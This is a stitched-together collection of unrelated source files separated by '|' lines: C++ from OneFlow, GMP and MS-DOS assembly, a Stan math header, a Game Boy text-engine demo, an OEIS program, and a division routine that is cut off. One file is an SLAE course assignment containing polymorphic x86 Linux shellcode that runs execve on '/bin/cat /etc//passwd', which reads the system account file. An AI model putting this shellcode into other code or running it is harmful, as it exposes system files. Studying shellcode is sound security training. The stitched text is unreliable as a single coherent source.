Maybe<void> SessionGlobalObjectsScope::Init(const ConfigProto& config_proto) {
session_id_ = config_proto.session_id();
Global<ResourceDesc, ForSession>::Delete();
DumpVersionInfo();
Global<ResourceDesc, ForSession>::New(config_proto.resource(),
GlobalProcessCtx::NumOfProcessPerNode());
Global<IDMgr>::New();
if (GlobalProcessCtx::IsThisProcessMaster()) {
Global<AvailableMemDesc>::New();
if (Global<ResourceDesc, ForSession>::Get()->enable_dry_run()) {
*Global<AvailableMemDesc>::Get() = GetDryRunAvailableMemDesc();
} else {
*Global<AvailableMemDesc>::Get() = GetAvailableMemDesc();
}
Global<JobName2JobId>::New();
Global<CriticalSectionDesc>::New();
Global<InterUserJobInfo>::New();
Global<LazyJobBuildAndInferCtxMgr>::New();
Global<JobSetCompileCtx>::New();
Global<RuntimeBufferManagersScope>::New();
}
for (const std::string& lib_path : config_proto.load_lib_path()) { JUST(LoadLibrary(lib_path)); }
{
// NOTE(chengcheng): Init Global Runtime objects.
Global<RuntimeCtx>::New();
Global<MemoryAllocator>::New();
Global<RegstMgr>::New();
Global<ActorMsgBus>::New();
Global<ThreadMgr>::New();
Global<RuntimeJobDescs>::New();
Global<summary::EventsWriter>::New();
}
return Maybe<void>::Ok();
}
Maybe<void> SessionGlobalObjectsScope::EagerInit(const ConfigProto& config_proto) {
session_id_ = config_proto.session_id();
Global<ResourceDesc, ForSession>::Delete();
DumpVersionInfo();
Global<ResourceDesc, ForSession>::New(config_proto.resource());
for (const std::string lib_path : config_proto.load_lib_path()) { JUST(LoadLibrary(lib_path)); }
return Maybe<void>::Ok();
}
SessionGlobalObjectsScope::~SessionGlobalObjectsScope() {
{
// NOTE(chengcheng): Delete Global Runtime objects.
Global<summary::EventsWriter>::Delete();
Global<RuntimeJobDescs>::Delete();
Global<ThreadMgr>::Delete();
Global<ActorMsgBus>::Delete();
Global<RegstMgr>::Delete();
Global<MemoryAllocator>::Delete();
Global<RuntimeCtx>::Delete();
}
if (GlobalProcessCtx::IsThisProcessMaster()) {
Global<RuntimeBufferManagersScope>::Delete();
Global<JobSetCompileCtx>::Delete();
Global<LazyJobBuildAndInferCtxMgr>::Delete();
Global<InterUserJobInfo>::Delete();
Global<CriticalSectionDesc>::Delete();
Global<JobName2JobId>::Delete();
Global<AvailableMemDesc>::Delete();
}
Global<IDMgr>::Delete();
Global<ResourceDesc, ForSession>::Delete();
Global<ResourceDesc, ForSession>::New(Global<ResourceDesc, ForEnv>::Get()->resource(),
GlobalProcessCtx::NumOfProcessPerNode());
}
} // namespace oneflow
|
; Student ID : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 6.2 : polymorphic bin/cat /etc/passwd for Linux/x86 Assembly
; File Name : cat-passwd.nasm
; Shell Storm : http://shell-storm.org/shellcode/files/shellcode-571.php
global _start
section .text
_start:
xor ecx,ecx ; zero out ecx
mul ecx ; will zero out edx and eax
; for more info see the following URL
; https://en.wikibooks.org/wiki/X86_Assembly/Arithmetic
mov ebx, ecx ; zero out ebx
push edx ; push null terminator to stack
push dword 0x7461632f ; tac/
push dword 0x6e69622f ; nib/
mov ebx,esp ; move /bin/cat\0 to ebx
push edx ; push null terminator to stack
push dword 0x64777373 ; dwss
push dword 0x61702f2f ; ap//
push dword 0x6374652f ; cte/
mov ecx,esp ; move /etc//passwd\0 to ecx
mov al,0x0A ; move 0x0A hex or 10 decimal to eax
inc al ; increase eax to be 11 instead of 10
push edx ; push null terminator to stack
push ecx ; moves /etc//passwd to stack
push ebx ; moves /bin/cat to stack
mov ecx,esp ; moves /bin/cat\0/etc//passwd\0 to ecx
int 0x80 ; execve was just called...
|
dnl AMD64 mpn_cnd_add_n.
dnl Copyright 2011-2013, 2017 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C AMD K8,K9
C AMD K10
C AMD bd1
C AMD bd2
C AMD bd3
C AMD bd4
C AMD zen
C AMD bobcat
C AMD jaguar
C Intel P4
C Intel PNR 3.0
C Intel NHM 3.75
C Intel SBR 1.93
C Intel IBR 1.89
C Intel HWL 1.78
C Intel BWL 1.50
C Intel SKL 1.50
C Intel atom
C Intel SLM 4.0
C VIA nano
C NOTES
C * It might seem natural to use the cmov insn here, but since this function
C is supposed to have the exact same execution pattern for cnd true and
C false, and since cmov's documentation is not clear about whether it
C actually reads both source operands and writes the register for a false
C condition, we cannot use it.
C INPUT PARAMETERS
define(`cnd_arg', `%rdi') dnl rcx
define(`rp', `%rsi') dnl rdx
define(`up', `%rdx') dnl r8
define(`vp', `%rcx') dnl r9
define(`n', `%r8') dnl rsp+40
define(`cnd', `%rbx')
define(ADDSUB, add)
define(ADCSBB, adc)
define(func, mpn_cnd_add_n)
ABI_SUPPORT(DOS64)
ABI_SUPPORT(STD64)
ASM_START()
TEXT
ALIGN(16)
PROLOGUE(mpn_cnd_add_n)
FUNC_ENTRY(4)
IFDOS(` mov 56(%rsp), R32(%r8)')
push %rbx
neg cnd_arg
sbb cnd, cnd C make cnd mask
test $1, R8(n)
jz L(x0)
L(x1): test $2, R8(n)
jz L(b1)
L(b3): mov (vp), %rdi
mov 8(vp), %r9
mov 16(vp), %r10
and cnd, %rdi
and cnd, %r9
and cnd, %r10
ADDSUB (up), %rdi
mov %rdi, (rp)
ADCSBB 8(up), %r9
mov %r9, 8(rp)
ADCSBB 16(up), %r10
mov %r10, 16(rp)
sbb R32(%rax), R32(%rax) C save carry
lea 24(up), up
lea 24(vp), vp
lea 24(rp), rp
sub $3, n
jnz L(top)
jmp L(end)
L(x0): xor R32(%rax), R32(%rax)
test $2, R8(n)
jz L(top)
L(b2): mov (vp), %rdi
mov 8(vp), %r9
and cnd, %rdi
and cnd, %r9
ADDSUB (up), %rdi
mov %rdi, (rp)
ADCSBB 8(up), %r9
mov %r9, 8(rp)
sbb R32(%rax), R32(%rax) C save carry
lea 16(up), up
lea 16(vp), vp
lea 16(rp), rp
sub $2, n
jnz L(top)
jmp L(end)
L(b1): mov (vp), %rdi
and cnd, %rdi
ADDSUB (up), %rdi
mov %rdi, (rp)
sbb R32(%rax), R32(%rax) C save carry
lea 8(up), up
lea 8(vp), vp
lea 8(rp), rp
dec n
jz L(end)
ALIGN(16)
L(top): mov (vp), %rdi
mov 8(vp), %r9
mov 16(vp), %r10
mov 24(vp), %r11
lea 32(vp), vp
and cnd, %rdi
and cnd, %r9
and cnd, %r10
and cnd, %r11
add R32(%rax), R32(%rax) C restore carry
ADCSBB (up), %rdi
mov %rdi, (rp)
ADCSBB 8(up), %r9
mov %r9, 8(rp)
ADCSBB 16(up), %r10
mov %r10, 16(rp)
ADCSBB 24(up), %r11
lea 32(up), up
mov %r11, 24(rp)
lea 32(rp), rp
sbb R32(%rax), R32(%rax) C save carry
sub $4, n
jnz L(top)
L(end): neg R32(%rax)
pop %rbx
FUNC_EXIT()
ret
EPILOGUE()
|
#ifndef STAN_MATH_PRIM_MAT_FUN_POSITIVE_ORDERED_FREE_HPP
#define STAN_MATH_PRIM_MAT_FUN_POSITIVE_ORDERED_FREE_HPP
#include <stan/math/prim/mat/fun/Eigen.hpp>
#include <stan/math/prim/mat/err/check_positive_ordered.hpp>
#include <stan/math/prim/mat/meta/index_type.hpp>
#include <cmath>
namespace stan {
namespace math {
/**
* Return the vector of unconstrained scalars that transform to
* the specified positive ordered vector.
*
* <p>This function inverts the constraining operation defined in
* <code>positive_ordered_constrain(Matrix)</code>,
*
* @param y Vector of positive, ordered scalars.
* @return Free vector that transforms into the input vector.
* @tparam T Type of scalar.
* @throw std::domain_error if y is not a vector of positive,
* ordered scalars.
*/
template <typename T>
Eigen::Matrix<T, Eigen::Dynamic, 1>
positive_ordered_free(const Eigen::Matrix<T, Eigen::Dynamic, 1>& y) {
using Eigen::Matrix;
using Eigen::Dynamic;
using std::log;
typedef typename index_type<Matrix<T, Dynamic, 1> >::type size_type;
check_positive_ordered("stan::math::positive_ordered_free",
"Positive ordered variable",
y);
size_type k = y.size();
Matrix<T, Dynamic, 1> x(k);
if (k == 0)
return x;
x[0] = log(y[0]);
for (size_type i = 1; i < k; ++i)
x[i] = log(y[i] - y[i - 1]);
return x;
}
}
}
#endif
|
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1987 - 1991
; * All Rights Reserved.
; */
PAGE ,132
;
;
; MS-DOS 5.00 - NLS Support - KEYB Command
;
; File Name: KEYBI2F.ASM
; ----------
;
; Description:
; ------------
; Contains Interrupt 2F handler.
;
; Procedures Contained in This File:
; ----------------------------------
; KEYB_INT_2F - Interupt 2F handler
;
; Include Files Required:
; -----------------------
; INCLUDE KEYBEQU.INC
; INCLUDE KEYBSHAR.INC
;M004 INCLUDE KEYBMAC.INC
; INCLUDE KEYBCMD.INC
; INCLUDE KEYBCPSD.INC
; INCLUDE KEYBI9C.INC
;
; External Procedure References:
; ------------------------------
; FROM FILE ????????.ASM:
; procedure - description????????????????????????????????
;
; Linkage Information: Refer to file KEYB.ASM
; --------------------
;
; Change History:
; ---------------
INCLUDE KEYBEQU.INC
INCLUDE KEYBSHAR.INC
;M004 INCLUDE KEYBMAC.INC
INCLUDE KEYBCMD.INC
INCLUDE KEYBCPSD.INC
INCLUDE KEYBI9C.INC
PUBLIC KEYB_INT_2F
EXTRN ERROR_BEEP:NEAR
CODE SEGMENT PUBLIC 'CODE'
ASSUME CS:CODE,DS:nothing
; Module: KEYB_INT_2F
;
; Description:
;
; Input Registers:
; AH = 0ADH
; AL = 80,81,82,83 ; M003
;
; Output Registers:
; N/A
;
; Logic:
; IF AH = 0ADh THEN (this call is for us)
; Set carry flag to 0
; IF AL = 80 THEN
; Get major and minor
; Get SEG:OFFSET of SHARED_DATA_AREA
;
; IF AL = 81 THEN
; Get FIRST_XLAT_PTR
; FOR each table
; IF code page requested = code page value at pointer THEN
; Set INVOKED_CODE_PAGE
; Set ACTIVE_XLAT_PTR
; EXIT
; ELSE
; Get NEXT_SECT_PTR
; NEXT table
; IF no corresponding code page found THEN
; Set carry flag
;
; IF AL = 82 THEN
; IF BL = 00 THEN
; Set COUNTRY_FLAG = 00
; ELSE IF BL = 0FFH THEN
; Set COUNTRY_FLAG = 0FFH
; ELSE
; Set carry flag
;
; IF AL = 83 THEN ; M003
; Return BL=COUNTRY_FLAG ; M003
;
; JMP to previous INT 2FH handler
CP_QUERY EQU 80H
CP_INVOKE EQU 81H
CP_LANGUAGE EQU 82H
CP_QLANGUAGE EQU 83H ; M003
VERSION_MAJOR EQU 01H
VERSION_MINOR EQU 00H
CARRY_FLAG EQU 01H
KEYB_INT_2F PROC
cmp ah,INT_2F_SUB_FUNC ; is it for us?
jz our_i2f_interrupt
i2f_chain:
; Under DOS 5, it is always safe for us to assume that there was
; an existing Int2f vector for us to continue to.
jmp cs:sd.old_int_2f
our_i2f_interrupt:
push bp
mov bp,sp
and word ptr [bp]+6,not carry_flag ; pre-clear carry
call do_our_i2f ; pass bp.6 -> flags to functions
pop bp
jmp i2f_chain
do_our_i2f:
CMP AL,CP_QUERY ; Q..query CP?
JNE INT_2F_CP_INVOKE ; N..next
MOV AX,-1 ; Y..process query
mov bx,(version_major shl 8) + version_minor
MOV DI,OFFSET SD
PUSH CS
POP ES
ret
INT_2F_CP_INVOKE:
CMP AL,CP_INVOKE ; Q..invoke CP?
JNE INT_2F_CP_LANGUAGE ; N..next
MOV SI,cs:SD.FIRST_XLAT_PTR ; Get FIRST_XLAT_PTR
INT_2F_NEXT_SECTION:
CMP SI,-1
JE INT_2F_ERROR_FLAG
cmp bx,cs:[SI].XS_CP_ID ; is this the code page we want?
JNE INT_2F_CP_INVOKE_CONT1
MOV cs:SD.ACTIVE_XLAT_PTR,SI ; IF Yes, Set the ACTIVE_XLAT_PTR
MOV cs:SD.INVOKED_CP_TABLE,BX ; record new code page
ret
INT_2F_CP_INVOKE_CONT1:
MOV SI,cs:[SI].XS_NEXT_SECT_PTR ; Chain to NEXT_SECT_PTR
JMP INT_2F_NEXT_SECTION ; NEXT_SECTION
INT_2F_ERROR_FLAG:
mov ax,1 ; ***??? why do we return error code
; ; only in this case?????
i2f_reterror:
or word ptr [bp]+6,carry_flag ; set carry to int2f caller
ret
INT_2F_CP_LANGUAGE:
CMP AL,CP_LANGUAGE ; Q..Set default language??
;M003 jnz int2f_ret ; don't handle undefined functions
jnz INT_2F_CP_QLANG ; go check for query language ;M003
; Now, if BL=0 or 0ffh, we'll set COUNTRY_FLAG to that value.
inc bl
cmp bl,2 ; set carry if bl is legal
dec bl ; restore old value, preserve carry
jnc i2f_reterror ; done if error
MOV cs:COUNTRY_FLAG,BL ; Set COUNTRY_FLAG to 0 or 0ffh
; M003 -- added code
ret
INT_2F_CP_QLANG:
CMP AL,CP_QLANGUAGE
jnz int2f_ret
mov bl,cs:COUNTRY_FLAG
; M003 -- end added code
int2f_ret:
ret
KEYB_INT_2F ENDP
CODE ENDS
END
|
INCLUDE "hardware.inc/hardware.inc"
INCLUDE "charmap.asm"
rev_Check_hardware_inc 3.0
charmap "♥", $89
TEXT_WIDTH_TILES equ 16
TEXT_HEIGHT_TILES equ 8
EXPORT TEXT_WIDTH_TILES
EXPORT TEXT_HEIGHT_TILES
BTN_ANIM_PERIOD equ 16
lb: macro
ld \1, (\2) << 8 | (\3)
endm
SECTION "Header", ROM0[$100]
di
jr EntryPoint
ds $150 - @, 0
EntryPoint:
; Clear tilemap
ld hl, _SCRN0
ld de, SCRN_VX_B - SCRN_X_B
ld c, SCRN_Y_B
.waitVBlank
ldh a, [rLY]
sub SCRN_Y
jr nz, .waitVBlank
; xor a ; ld a, 0
.clearTilemap
REPT SCRN_X_B
ld [hli], a
ENDR
add hl, de
dec c
jr nz, .clearTilemap
; Init LCD regs
; xor a ; ld a, 0
ldh [rSCY], a
ldh [rSCX], a
ld a, %11100100
ldh [rBGP], a
ldh [rOBP0], a
ld a, LCDCF_ON | LCDCF_BGON
ldh [rLCDC], a
; Init interrupt handler vars
xor a
ldh [hVBlankFlag], a
dec a ; ld a, $FF
ldh [hHeldButtons], a
ld hl, OAMDMA
lb bc, OAMDMA.end - OAMDMA, LOW(hOAMDMA)
.copyOAMDMA
ld a, [hli]
ldh [c], a
inc c
dec b
jr nz, .copyOAMDMA
; Init OAM
ld hl, wShadowOAM
ld de, .sprites
ld c, .spritesEnd - .sprites
rst MemcpySmall
; Send unused sprites off-screen
ld c, NB_UNUSED_SPRITES * sizeof_OAM_ATTRS
xor a ; ld a, 0
rst MemsetSmall
ld a, IEF_VBLANK
ldh [rIE], a
xor a
ei
ldh [rIF], a
assert .spritesEnd == .tiles
; ld de, .tiles
ld hl, vButtonTiles
ld bc, (.tilesEnd - .tiles) / 2
call LCDMemcpy
ld hl, vTextboxTopRow
lb bc, LOW(vBorderTiles.top / 16), NB_BORDER_TOP_TILES
assert NB_BORDER_TOP_TILES == TEXT_WIDTH_TILES + 1
.writeTopRow
ldh a, [rSTAT]
and STATF_BUSY
jr nz, .writeTopRow
ld a, b
ld [hli], a
inc b
dec c
jr nz, .writeTopRow
ld hl, vText - 1
ld c, TEXT_HEIGHT_TILES
assert NB_BORDER_VERT_TILES == TEXT_HEIGHT_TILES * 2
.writeVertBorders
ldh a, [rSTAT]
and STATF_BUSY
jr nz, .writeVertBorders
ld a, b
ld [hli], a
inc b
ld a, l
add a, TEXT_WIDTH_TILES
ld l, a
ld a, b
ld [hli], a
inc b
ld a, l
add a, SCRN_VX_B - TEXT_WIDTH_TILES - 2
ld l, a
adc a, h
sub l
ld h, a
dec c
jr nz, .writeVertBorders
inc hl
ld c, TEXT_WIDTH_TILES + 1
assert NB_BORDER_BOTTOM_TILES == TEXT_WIDTH_TILES + 1
.writeBottomRow
ldh a, [rSTAT]
and STATF_BUSY
jr nz, .writeBottomRow
ld a, b
ld [hli], a
inc b
dec c
jr nz, .writeBottomRow
; Assuming OAM has correctly been written, start displaying sprites
ld a, LCDCF_ON | LCDCF_OBJON | LCDCF_OBJ16 | LCDCF_BGON
ldh [rLCDC], a
;;;;;;;;;;;;;;;; TEXT ENGINE GLOBAL INIT ;;;;;;;;;;;;;;;;;;;;
; You need to write these on game startup
xor a ; ld a, 0
ld [wTextCurPixel], a
; xor a ; ld a, 0
ld [wTextCharset], a
; xor a ; ld a, 0
ld c, $10 * 2
ld hl, wTextTileBuffer
rst MemsetSmall
ld a, BANK(PerformAnimation)
ldh [hCurROMBank], a
ld [rROMB0], a
jp PerformAnimation
.sprites
db 0, 142 + 8, LOW(vButtonTiles / 16) + 0, 0
db 0, 142 + 8, LOW(vButtonTiles / 16) + 2, 0
db 0, 150 + 8, LOW(vButtonTiles / 16) + 4, 0
db 0, 150 + 8, LOW(vButtonTiles / 16) + 6, 0
.spritesEnd
.tiles
.buttonTiles
INCBIN "button.2bpp"
NB_BUTTON_TILES equ (@ - .buttonTiles) / 16
NB_BUTTON_SPRITES equ NB_BUTTON_TILES / 2
.borderTopTiles
INCBIN "border_top.2bpp"
NB_BORDER_TOP_TILES equ (@ - .borderTopTiles) / 16
.borderVertTiles
INCBIN "border_vert.2bpp"
NB_BORDER_VERT_TILES equ (@ - .borderVertTiles) / 16
.borderBottomTiles
INCBIN "border_bottom.2bpp"
NB_BORDER_BOTTOM_TILES equ (@ - .borderBottomTiles) / 16
.tilesEnd
OAMDMA:
ldh [rDMA], a
ld a, OAM_COUNT
.wait
dec a
jr nz, .wait
ret
.end
; This is intentionally placed in bank 2 to demonstrate the VWF engine working fine from ROMX
assert BANK(_PrintVWFChar) != 2
SECTION "Animation", ROMX,BANK[2]
PerformAnimation:
ld a, BTN_ANIM_PERIOD
ld [wBtnAnimCounter], a
;;;;;;;;;;;;;;;; TEXT ENGINE LOCAL INIT ;;;;;;;;;;;;;;;;;;;;;
; You should write these when appropriate
ld a, 18 * 8 + 1 ; The last pixel of all chars is blank!
ld [wTextLineLength], a
ld a, LOW(vStaticTextTiles / 16)
ld [wTextCurTile], a
; The following text doesn't wrap, so no need to init this
; ld [wWrapTileID], a
ld a, LOW(vStaticTextTiles.end / 16) - 1
ld [wLastTextTile], a
ld a, 2
ld [wTextNbLines], a
ld [wTextRemainingLines], a
ld [wNewlinesUntilFull], a
xor a ; ld a, 0
ld [wTextStackSize], a
; xor a ; ld a, 0
ld [wTextFlags], a
; xor a ; ld a, 0
ld [wTextLetterDelay], a
ld a, $80
ld [wTextTileBlock], a
ld a, TEXT_NEW_STR
ld hl, StaticText
ld b, BANK(StaticText)
call PrintVWFText
ld hl, vStaticText
call SetPenPosition
; Since wTextLetterDelay is 0, this will process all of the string at once
call PrintVWFChar
call DrawVWFChars
;;;;;;;;;;;;;;; This is "local" initialization for printing the "main" text ;;;;;;;;;;;;;;;;;
ld a, TEXT_WIDTH_TILES * 8 + 1
ld [wTextLineLength], a
ld a, LOW(vTextTiles / 16)
ld [wTextCurTile], a
ld [wWrapTileID], a
ld a, LOW(vTextTiles.end / 16) - 1
ld [wLastTextTile], a
ld a, 8
ld [wTextNbLines], a
ld [wTextRemainingLines], a
ld [wNewlinesUntilFull], a
ld a, 2
ld [wTextLetterDelay], a
ld a, $90
ld [wTextTileBlock], a
.restartText
ld a, TEXT_NEW_STR
ld hl, Text
ld b, BANK(Text)
call PrintVWFText
ld hl, vText
call SetPenPosition
.loop
rst WaitVBlank
call PrintVWFChar
call DrawVWFChars
ld hl, wTextFlags
bit 7, [hl]
jr z, .noSpeedToggling
res 7, [hl]
; Toggle the text speed
ld a, [wTextLetterDelay]
xor 8
ld [wTextLetterDelay], a
.noSpeedToggling
; Draw a button animation if waiting for button input
bit 6, [hl]
ld a, 110 + 16
jr nz, .drawButton
ld a, SCRN_Y + 16
.drawButton
ld [wButtonSprites], a
ld [wButtonSprites + 8], a
add a, 16
ld [wButtonSprites + 4], a
ld [wButtonSprites + 12], a
ld hl, wBtnAnimCounter
dec [hl]
jr nz, .noBtnAnim
ld [hl], BTN_ANIM_PERIOD
ld hl, wButtonSprites + OAMA_TILEID
ld c, NB_BUTTON_SPRITES
.toggleBtnFrame
ld a, [hl]
xor LOW(vButtonTiles.frame0 / 16) ^ LOW(vButtonTiles.frame1 / 16)
ld [hli], a
inc l ; inc hl
inc l ; inc hl
inc l ; inc hl
dec c
jr nz, .toggleBtnFrame
.noBtnAnim
ld a, [wTextSrcPtr + 1]
inc a ; cp $FF
jr nz, .loop
.waitRestart
rst WaitVBlank
ldh a, [hPressedButtons]
and PADF_START
jr z, .waitRestart
jr .restartText
SECTION "Called text", ROMX[$5000],BANK[2]
CalledText:
db "Toto, I don't think we're in Bank ", BANK(Text) + "0", " anymore.<END>"
; For demonstration purposes, both of these pieces of text are in different banks,
; and both in a bank other than the VWF engine
SECTION "Text", ROMX,BANK[3]
Text:
db "<CLEAR>Hello World!\n"
db "Text should break here... automatically!<WAITBTN>\n"
db "\n"
db "Text resumes printing when pressing A, but holding B works too.<WAITBTN>\n"
db "<CLEAR>Let's tour through most of the functionality, shall we?<WAITBTN>\n"
; Need to split this line because of RGBDS' stupid limitations...
db "The engine is also aware of textbox height, and will replace newlines (including those inserted automatically) with commands to scroll the textbox. ","It also keeps track of how many lines have been written since the last user input, and automagically inserts pauses at the right time!<WAITBTN>"
db "<CLEAR>Note that automatic hyphenation is not supported, but line breaking is hyphen-aware.<WAITBTN>\n"
db "Breaking of long words can be hinted at using \"soft hyphens\". Isn't it totally ama<SOFT_HYPHEN>zing?<WAITBTN>"
db "<CLEAR>It is, <DELAY>",5,"of course, <DELAY>",10,"possible to insert ma<DELAY>",20,"nu<DELAY>",20,"al<DELAY>",20," delays, manual line\nbreaks, and, as you probably already noticed, manual button waits.<WAITBTN>\n"
db "<CLEAR>The engine also supports synchronisation! It's how <SYNC>these words<SYNC><DELAY>",1," are made to print slowly, and back again. <DELAY>",20,"It could be useful e.g. for sound cues.<WAITBTN>"
; `SET_COLOR 0` also works, but it's pretty pointless, so I'm not showcasing it
db "<CLEAR>It's also possible to <SET_COLOR>",1,"change <SET_COLOR>",2,"the color <SET_COLOR>",3,"of text!<WAITBTN>\n"
db "You can also switch to <SET_VARIANT>",2,"variations of the font<RESTORE_VARIAN>, <SET_FONT>",$10,"a different font, or <SET_VARIANT>",2,"a variation of a different font<RESTORE_VARIAN><RESTORE_FONT>, why not!<WAITBTN>\n"
db "Each font can have up to ", NB_FONT_CHARACTERS / 100 + "0", (NB_FONT_CHARACTERS / 10) % 10 + "0", NB_FONT_CHARACTERS % 10 + "0", " characters. The encoding is left up to you--make good use of RGBASM's `charmap` feature!<WAITBTN>"
db "<CLEAR>The engine also supports a `call`-like mechanism. The following string is pulled from ROM2:{X:CalledText}: \""
; Control chars are also made available as `TEXT_*` symbols if `EXPORT_CONTROL_CHARS` is passed to the engine
db TEXT_CALL, BANK(CalledText), LOW(CalledText), HIGH(CalledText)
db "\".<WAITBTN>\n"
db "A \"jump\" is also supported.<WAITBTN>"
db TEXT_JUMP, BANK(CreditsText), LOW(CreditsText), HIGH(CreditsText)
SECTION "Credits text", ROMX,BANK[1]
CreditsText:
db "<CLEAR>♥ Credits ♥\n"
db "VWF engine by ISSOtm; graphics by BlitterObject; fonts by PinoBatch & Optix, with edits by ISSOtm.<WAITBTN>\n"
db "\n"
db "Text will now end, press START to begin again.<END>"
SECTION "Static text", ROMX,BANK[2]
StaticText:
db "VWF engine 1.0.0\n"
db "github.com/ISSOtm/gb-vwf<END>"
SECTION "LCDMemcpy", ROM0
LCDMemcpy::
; Increment B if C is nonzero
dec bc
inc b
inc c
.loop
ldh a, [rSTAT]
and STATF_BUSY
jr nz, .loop
ld a, [de]
ld [hli], a
inc de
ld a, [de]
ld [hli], a
inc de
dec c
jr nz, .loop
dec b
jr nz, .loop
ret
LCDMemsetSmall::
ld b, a
LCDMemsetSmallFromB::
ldh a, [rSTAT]
and STATF_BUSY
jr nz, LCDMemsetSmallFromB
ld a, b
ld [hli], a
dec c
jr nz, LCDMemsetSmallFromB
ret
SECTION "Vectors", ROM0[0]
ret
ds $08 - @
WaitVBlank::
ld a, 1
ldh [hVBlankFlag], a
.wait
halt
jr .wait
ds $10 - @
MemsetSmall:
ld [hli], a
dec c
jr nz, MemsetSmall
ret
ds $18 - @
MemcpySmall:
ld a, [de]
ld [hli], a
inc de
dec c
jr nz, MemcpySmall
ret
ds $20 - @
ret
ds $28 - @
ret
ds $30 - @
ret
ds $38 - @
ret
ds $40 - @
; VBlank handler
push af
ld a, HIGH(wShadowOAM)
call hOAMDMA
ldh a, [hVBlankFlag]
and a
jr z, .noVBlank
ld c, LOW(rP1)
ld a, P1F_GET_DPAD
ldh [c], a
REPT 4
ldh a, [c]
ENDR
or $F0
ld b, a
swap b
ld a, P1F_GET_BTN
ldh [c], a
REPT 4
ldh a, [c]
ENDR
or $F0
xor b
ld b, a
ld a, P1F_GET_NONE
ldh [c], a
ldh a, [hHeldButtons]
cpl
and b
ldh [hPressedButtons], a
ld a, b
ldh [hHeldButtons], a
pop af ; Pop return address to exit `waitVBlank`
xor a
ldh [hVBlankFlag], a
.noVBlank
pop af
reti
SECTION UNION "8800 tiles", VRAM[$8800]
vButtonTiles:
.frame0
ds 16 * NB_BUTTON_SPRITES
.frame1
ds 16 * NB_BUTTON_SPRITES
vBorderTiles:
.top
ds 16 * NB_BORDER_TOP_TILES
.vert
ds 16 * NB_BORDER_VERT_TILES
.bottom
ds 16 * NB_BORDER_BOTTOM_TILES
vStaticTextTiles:
ds 16 * 32
.end
SECTION UNION "9000 tiles", VRAM[$9000]
vBlankTile:
ds 16
vTextTiles:: ; Random position for demonstration purposes
ds 16 * 127
.end
SECTION UNION "9800 tilemap", VRAM[_SCRN0]
ds SCRN_VX_B * 3
ds 1
vTextboxTopRow:
ds TEXT_WIDTH_TILES + 2
ds SCRN_VX_B - TEXT_WIDTH_TILES - 3
ds 2
vText::
.row0
ds TEXT_WIDTH_TILES
ds SCRN_VX_B - TEXT_WIDTH_TILES - 2
ds 2
.row1
ds TEXT_WIDTH_TILES
ds SCRN_VX_B - TEXT_WIDTH_TILES - 2
ds 2
.row2
ds TEXT_WIDTH_TILES
ds SCRN_VX_B - TEXT_WIDTH_TILES - 2
ds 2
.row3
ds TEXT_WIDTH_TILES
ds SCRN_VX_B - TEXT_WIDTH_TILES - 2
ds 2
.row4
ds TEXT_WIDTH_TILES
ds SCRN_VX_B - TEXT_WIDTH_TILES - 2
ds 2
.row5
ds TEXT_WIDTH_TILES
ds SCRN_VX_B - TEXT_WIDTH_TILES - 2
ds 2
.row6
ds TEXT_WIDTH_TILES
ds SCRN_VX_B - TEXT_WIDTH_TILES - 2
ds 2
.row7
ds TEXT_WIDTH_TILES
ds SCRN_VX_B - TEXT_WIDTH_TILES - 2
ds 1
vTextboxBottomRow:
ds TEXT_WIDTH_TILES + 2
ds SCRN_VX_B - TEXT_WIDTH_TILES - 3
ds SCRN_VX_B
ds 3
vStaticText:
ds SCRN_VX_B - 3
SECTION "Shadow OAM", WRAM0,ALIGN[8]
wShadowOAM:
wButtonSprites:
ds sizeof_OAM_ATTRS * NB_BUTTON_TILES / 4
NB_UNUSED_SPRITES equ OAM_COUNT - (@ - wShadowOAM) / sizeof_OAM_ATTRS
ds NB_UNUSED_SPRITES * sizeof_OAM_ATTRS
SECTION "WRAM0", WRAM0
wBtnAnimCounter:
db
SECTION "HRAM", HRAM
hCurROMBank::
db
hVBlankFlag:
db
hHeldButtons::
db
hPressedButtons::
db
hOAMDMA:
ds OAMDMA.end - OAMDMA
|
; A164412: Number of binary strings of length n with no substrings equal to 0000 0001 or 0111.
; 13,22,37,60,98,160,259,420,681,1102,1784,2888,4673,7562,12237,19800,32038,51840,83879,135720,219601,355322,574924,930248,1505173,2435422,3940597,6376020,10316618,16692640,27009259,43701900,70711161,114413062,185124224,299537288,484661513,784198802,1268860317,2053059120,3321919438,5374978560,8696897999,14071876560,22768774561,36840651122,59609425684,96450076808,156059502493,252509579302,408569081797,661078661100,1069647742898,1730726404000,2800374146899,4531100550900,7331474697801,11862575248702,19194049946504,31056625195208,50250675141713,81307300336922,131557975478637,212865275815560,344423251294198,557288527109760,901711778403959,1459000305513720,2360712083917681,3819712389431402,6180424473349084
add $0,5
mov $2,2
mov $3,1
lpb $0
sub $0,1
add $2,2
trn $1,$2
add $1,$3
add $1,1
mov $3,$2
add $2,$1
lpe
add $1,4
div $1,2
sub $1,2
|
INCLUDE "clib_cfg.asm"
SECTION code_math
PUBLIC l_fast_divu_16_16x8, l0_fast_divu_16_16x8
EXTERN l0_fast_divu_8_8x8, error_divide_by_zero_mc
; alternate entry to swap dividend / divisor
ex de,hl
l_fast_divu_16_16x8:
; unsigned division of a 16-bit dividend
; by an 8-bit divisor
;
; enter : hl = 16-bit dividend
; e = 8-bit divisor
;
; exit : d = 0
;
; success
;
; a = 0
; hl = hl / e
; e = hl % e
; carry reset
;
; divide by zero
;
; hl = $ffff = UINT_MAX
; de = dividend
; carry set, errno = EDOM
;
; uses : af, b, de, hl
; test for divide by zero
inc e
dec e
jr z, divide_by_zero
